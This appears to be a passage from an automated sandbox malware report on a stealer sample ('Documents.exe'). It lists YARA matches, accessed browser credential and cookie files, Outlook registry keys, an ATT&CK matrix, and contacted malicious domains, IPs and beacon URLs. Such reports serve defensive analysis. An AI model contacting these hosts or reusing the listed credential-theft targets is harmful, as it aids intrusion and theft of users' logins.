Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Queries volume information: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Documents.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.4500125760.00000000042A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4498734635.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4500198635.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2339787064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4502147682.00000000050C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2340363739.0000000001450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2342055723.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4500549685.0000000002670000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.Documents.exe.5bd0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Documents.exe.5bd0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2156644192.0000000004359000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2160027953.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\systray.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.4500125760.00000000042A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4498734635.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4500198635.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2339787064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4502147682.00000000050C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2340363739.0000000001450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2342055723.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4500549685.0000000002670000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.Documents.exe.5bd0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Documents.exe.5bd0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2156644192.0000000004359000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2160027953.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	612 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	612 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	22 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Documents.exe	24%	ReversingLabs	ByteCode-MSIL.Trojan.Remcos
Documents.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	24%	ReversingLabs	ByteCode-MSIL.Trojan.Remcos

Source	Detection	Scanner	Label
http://www.6822662.xyz/shuiyechaoyang/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/google_workspace.png	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/565f40599029.html	0%	Avira URL Cloud	safe
http://www.6822662.xyz/xiaotianyou/	0%	Avira URL Cloud	safe
https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/178b40599416.html	0%	Avira URL Cloud	safe
https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=ca	0%	Avira URL Cloud	safe
http://www.6822662.xyz/shuiyechaoyangh/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/9/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/trustpilot.svg	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/069a299928.html	0%	Avira URL Cloud	safe
http://www.6822662.xyz/mingrihuaqiluo/	0%	Avira URL Cloud	safe
https://0dyos.com	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/830f499165.html	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/128c40599466.html	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/1/	0%	Avira URL Cloud	safe
http://www.hayaniya.org/yf1h/	0%	Avira URL Cloud	safe
http://www.duskgazes.work/zs4o/?QhKxhNP=40yvXZqQXwyOFTl0d1fxwhQGTsZjKCC3JWjHJEZ8IBZutO+YSqvvwioh1RBVRKlMIRVxucUqEMWgr+FAgfZYoR4vWuFQr4uBZgu5x5JrNmZwlLDog/JQkd5M42bUbwrevw==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com/101dacs.js	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/icon/101domain.ico	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/14a40599580.html	0%	Avira URL Cloud	safe
https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/google-reviews.svg	0%	Avira URL Cloud	safe
http://www.lingdianyun29.xyz/404o/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/927a399069.html	0%	Avira URL Cloud	safe
http://www.nieuws-july202488.sbs/30le/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/baishimolinair/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/yasendi/	0%	Avira URL Cloud	safe
http://www.learnnow.info/d5up/?QhKxhNP=t4sGAbB2VavWqiiIadPUj68mTJ7Q54MapR6mUVHY3SwgNZVHyOwsTaauiAAffAhHdKJKrrjT+NERuNHfq0vx0hlOGr9kxI5wEfZ1g7ObOVlc/eoN6Msnk6zs6578MLwdAQ==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
http://www.030002449.xyz/cfqm/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/468c40599126.html	0%	Avira URL Cloud	safe
http://www.carpentry.club/jcsf/?QhKxhNP=NJIOohqps9aNaGk8Gv0x95TXV1ke4jY2ru9PIld0z7+iuCSmXzhmM46cxc5xGqvTMH7YV8ukdWwIlgb06ERZu+HhQde6PspHhBqQKwPZwv/EXFgjFQrkOjXlWxa7+IRGPg==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
http://www.losmason.shop/s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY+3nQdNuELRDWQb2uefNArAI9Jzm+wUv6iBr2b0gwhreB6wQHxTYP3MQRZc2DBo1D75Es8xJLJq3ZosxOeO3P23AwVQ3aXA==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/2/	0%	Avira URL Cloud	safe
https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra	0%	Avira URL Cloud	safe
https://www.101domain.com/resource_center.htm	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/7/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/gongdilan/	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com/smartclick	0%	Avira URL Cloud	safe
http://www.carpentry.club/jcsf/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/lingcunaili/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/fonts/LatoRegular.woff2	0%	Avira URL Cloud	safe
http://www.6822662.xyz/ruocainaiyang/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/xidaoailiw/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/129d40599465.html	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com	0%	Avira URL Cloud	safe
http://www.holytur.net/cs9k/?QhKxhNP=W7SiLeR8lVOS0IddzXWoYXDt6RHub9Z/llH5xMN7IPTa857c9EQRUjsfmtg32BbwdcsWIPqYG66ejHdS265gpP2tZDtQplym5WCIjSXUngUJeAz/nR33NA1XQvWBI8EpRg==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
http://www.6822662.xyz/youtianzhenxi/	0%	Avira URL Cloud	safe
https://park.101datacenter.net	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/10/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/vendor-1.css?20240925050808	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/fonts/LatoRegular.woff)	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/449a40599145.html	0%	Avira URL Cloud	safe
http://www.hasan.cloud/tur7/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/zuozuomumingxi/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/template/news/news10/css/layout.css	0%	Avira URL Cloud	safe
http://www.030002449.xyz/cfqm/?QhKxhNP=FHiNz6b6Wn9oKec3i10x/NxXWu4/t8kjzDy3bn44oOFoUWscXE4DzqYFgJdNnLXTrdZ+ESI+3Oq4E1BzotELfZv0FR4L9xniphkEx7BDvvGrYDhvMkPmWTEebCLVzsH5Qg==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
https://park.101datacenter.net/js/modernizr-webp.js?20240925050808	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/8/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/fonts/LatoRegular.woff2)	0%	Avira URL Cloud	safe
http://www.lingdianyun29.xyz/404o/?QhKxhNP=WKBQtURp4mxoG42HvJVFdxkBeoRQKLcKkncaZCQ6BKNKWWSe5DM6Y469mdl3/OFUlQwZCGrNWgxnPoxBbE5j38LAsK6uFZ8oMmHn4Vx5wOob/Qku77DXil1QxQESxukZTQ==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
http://www.losmason.shop/s15n/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/park-back.webp	0%	Avira URL Cloud	safe
https://park.101datacenter.net/js/pricing.js?20240925050808	0%	Avira URL Cloud	safe
http://hayaniya.org/yf1h/?QhKxhNP=YVpI46H16R/w/kk1bY6rBRavyZUbsgJtp9CZM	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/776b40598818.html	0%	Avira URL Cloud	safe
https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	0%	Avira URL Cloud	safe
http://www.6822662.xyz/sitemap.xml	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/5/	0%	Avira URL Cloud	safe
https://www.losmason.shop/s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/047a40599547.html	0%	Avira URL Cloud	safe
http://www.nieuws-july202488.sbs/30le/?QhKxhNP=jHE7b6Z9ED1A0Je7bwo+kjGjstTykwGZjMkqHVfcjQ95lgOzDj3OOkgun9YTkzFADI0DOvoxgj3LN5jGlHy+CHSERWGJqvHJseYAxerz13ZcR6Qaw8dlP7tGoG6xZXENiQ==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/87c40599507.html	0%	Avira URL Cloud	safe
http://www.zrinorem-srumimit.sbs/xyvr/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/dnjw/	0%	Avira URL Cloud	safe
https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac	0%	Avira URL Cloud	safe
http://www.learnnow.info/d5up/	0%	Avira URL Cloud	safe
https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=carpentry.club&utm_	0%	Avira URL Cloud	safe
http://www.6822662.xyz/dnjw/?QhKxhNP=LLuahgeFNd50MfmeR+YO4X7oQIpbAv675x2tVSlUIoVemPDFIi7IcWvJHwj84u5Zt+Ov/a/NakHy5HK7jRYViNkqfDz6ShsEoBWZb9ZpzTMPTjlue++bzVqPhWzfo/q89w==&Yby=d2ydCtHpb8	0%	Avira URL Cloud	safe
http://www.6822662.xyz/jiuzhonghuannai/6/	0%	Avira URL Cloud	safe
http://www.zrinorem-srumimit.sbs/xyvr/?Yby=d2ydCtHpb8&QhKxhNP=Dk/wQKBXq4hP/zVb9ApyZmDkyzbQqrM0hWgYI5VbiKGV4GeQY6os12Lf5EdpuHYA6f15h+K7XFjq1wIjorrCnH6ZrrhC9s12l00lNHx4+XmTSfuGU54Az/E2dcdiA+66+g==	0%	Avira URL Cloud	safe
http://www.6822662.xyz/guchuanyizhi/	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/912f40598682.html	0%	Avira URL Cloud	safe
http://zrinorem-srumimit.sbs/	0%	Avira URL Cloud	safe
https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	0%	Avira URL Cloud	safe
https://park.101datacenter.net/images/vendor-1/com.png	0%	Avira URL Cloud	safe
https://www.101domain.com/gmail_email_aliases.htm	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/068e399928.html	0%	Avira URL Cloud	safe
http://www.duskgazes.work/zs4o/	0%	Avira URL Cloud	safe
https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	0%	Avira URL Cloud	safe
http://www.6822662.xyz/Dating/289d399707.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
nieuws-july202488.sbs	162.0.215.33	true	true	unknown
holytur.net	185.106.208.3	true	false	unknown
www.innovationpulse.tech	75.2.103.23	true	true	unknown
www.030002449.xyz	161.97.142.144	true	true	unknown
www.learnnow.info	199.192.23.123	true	true	unknown
www.carpentry.club	52.60.87.163	true	true	unknown
hayaniya.org	192.185.147.100	true	true	unknown
www.losmason.shop	104.18.73.116	true	true	unknown
www.lingdianyun29.xyz	121.43.155.35	true	true	unknown
www.zrinorem-srumimit.sbs	172.67.222.69	true	true	unknown
www.6822662.xyz	103.249.106.91	true	true	unknown
www.hasan.cloud	13.248.169.48	true	true	unknown
www.lovel.shop	13.248.169.48	true	true	unknown
duskgazes.work	3.33.130.190	true	true	unknown
www.nieuws-july202488.sbs	unknown	unknown	false	unknown
www.hayaniya.org	unknown	unknown	false	unknown
www.duskgazes.work	unknown	unknown	false	unknown
www.holytur.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.hayaniya.org/yf1h/	true	Avira URL Cloud: safe	unknown
http://www.duskgazes.work/zs4o/?QhKxhNP=40yvXZqQXwyOFTl0d1fxwhQGTsZjKCC3JWjHJEZ8IBZutO+YSqvvwioh1RBVRKlMIRVxucUqEMWgr+FAgfZYoR4vWuFQr4uBZgu5x5JrNmZwlLDog/JQkd5M42bUbwrevw==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.lingdianyun29.xyz/404o/	true	Avira URL Cloud: safe	unknown
http://www.nieuws-july202488.sbs/30le/	true	Avira URL Cloud: safe	unknown
http://www.learnnow.info/d5up/?QhKxhNP=t4sGAbB2VavWqiiIadPUj68mTJ7Q54MapR6mUVHY3SwgNZVHyOwsTaauiAAffAhHdKJKrrjT+NERuNHfq0vx0hlOGr9kxI5wEfZ1g7ObOVlc/eoN6Msnk6zs6578MLwdAQ==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.030002449.xyz/cfqm/	true	Avira URL Cloud: safe	unknown
http://www.carpentry.club/jcsf/?QhKxhNP=NJIOohqps9aNaGk8Gv0x95TXV1ke4jY2ru9PIld0z7+iuCSmXzhmM46cxc5xGqvTMH7YV8ukdWwIlgb06ERZu+HhQde6PspHhBqQKwPZwv/EXFgjFQrkOjXlWxa7+IRGPg==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.losmason.shop/s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY+3nQdNuELRDWQb2uefNArAI9Jzm+wUv6iBr2b0gwhreB6wQHxTYP3MQRZc2DBo1D75Es8xJLJq3ZosxOeO3P23AwVQ3aXA==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.carpentry.club/jcsf/	true	Avira URL Cloud: safe	unknown
http://www.holytur.net/cs9k/?QhKxhNP=W7SiLeR8lVOS0IddzXWoYXDt6RHub9Z/llH5xMN7IPTa857c9EQRUjsfmtg32BbwdcsWIPqYG66ejHdS265gpP2tZDtQplym5WCIjSXUngUJeAz/nR33NA1XQvWBI8EpRg==&Yby=d2ydCtHpb8	false	Avira URL Cloud: safe	unknown
http://www.hasan.cloud/tur7/	true	Avira URL Cloud: safe	unknown
http://www.030002449.xyz/cfqm/?QhKxhNP=FHiNz6b6Wn9oKec3i10x/NxXWu4/t8kjzDy3bn44oOFoUWscXE4DzqYFgJdNnLXTrdZ+ESI+3Oq4E1BzotELfZv0FR4L9xniphkEx7BDvvGrYDhvMkPmWTEebCLVzsH5Qg==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.lingdianyun29.xyz/404o/?QhKxhNP=WKBQtURp4mxoG42HvJVFdxkBeoRQKLcKkncaZCQ6BKNKWWSe5DM6Y469mdl3/OFUlQwZCGrNWgxnPoxBbE5j38LAsK6uFZ8oMmHn4Vx5wOob/Qku77DXil1QxQESxukZTQ==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.losmason.shop/s15n/	true	Avira URL Cloud: safe	unknown
http://www.nieuws-july202488.sbs/30le/?QhKxhNP=jHE7b6Z9ED1A0Je7bwo+kjGjstTykwGZjMkqHVfcjQ95lgOzDj3OOkgun9YTkzFADI0DOvoxgj3LN5jGlHy+CHSERWGJqvHJseYAxerz13ZcR6Qaw8dlP7tGoG6xZXENiQ==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.zrinorem-srumimit.sbs/xyvr/	true	Avira URL Cloud: safe	unknown
http://www.learnnow.info/d5up/	true	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/dnjw/	true	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/dnjw/?QhKxhNP=LLuahgeFNd50MfmeR+YO4X7oQIpbAv675x2tVSlUIoVemPDFIi7IcWvJHwj84u5Zt+Ov/a/NakHy5HK7jRYViNkqfDz6ShsEoBWZb9ZpzTMPTjlue++bzVqPhWzfo/q89w==&Yby=d2ydCtHpb8	true	Avira URL Cloud: safe	unknown
http://www.zrinorem-srumimit.sbs/xyvr/?Yby=d2ydCtHpb8&QhKxhNP=Dk/wQKBXq4hP/zVb9ApyZmDkyzbQqrM0hWgYI5VbiKGV4GeQY6os12Lf5EdpuHYA6f15h+K7XFjq1wIjorrCnH6ZrrhC9s12l00lNHx4+XmTSfuGU54Az/E2dcdiA+66+g==	true	Avira URL Cloud: safe	unknown
http://www.duskgazes.work/zs4o/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://park.101datacenter.net/images/vendor-1/google_workspace.png	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.6822662.xyz/xiaotianyou/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/jiuzhonghuannai/9/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/shuiyechaoyang/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/	vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=ca	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/565f40599029.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
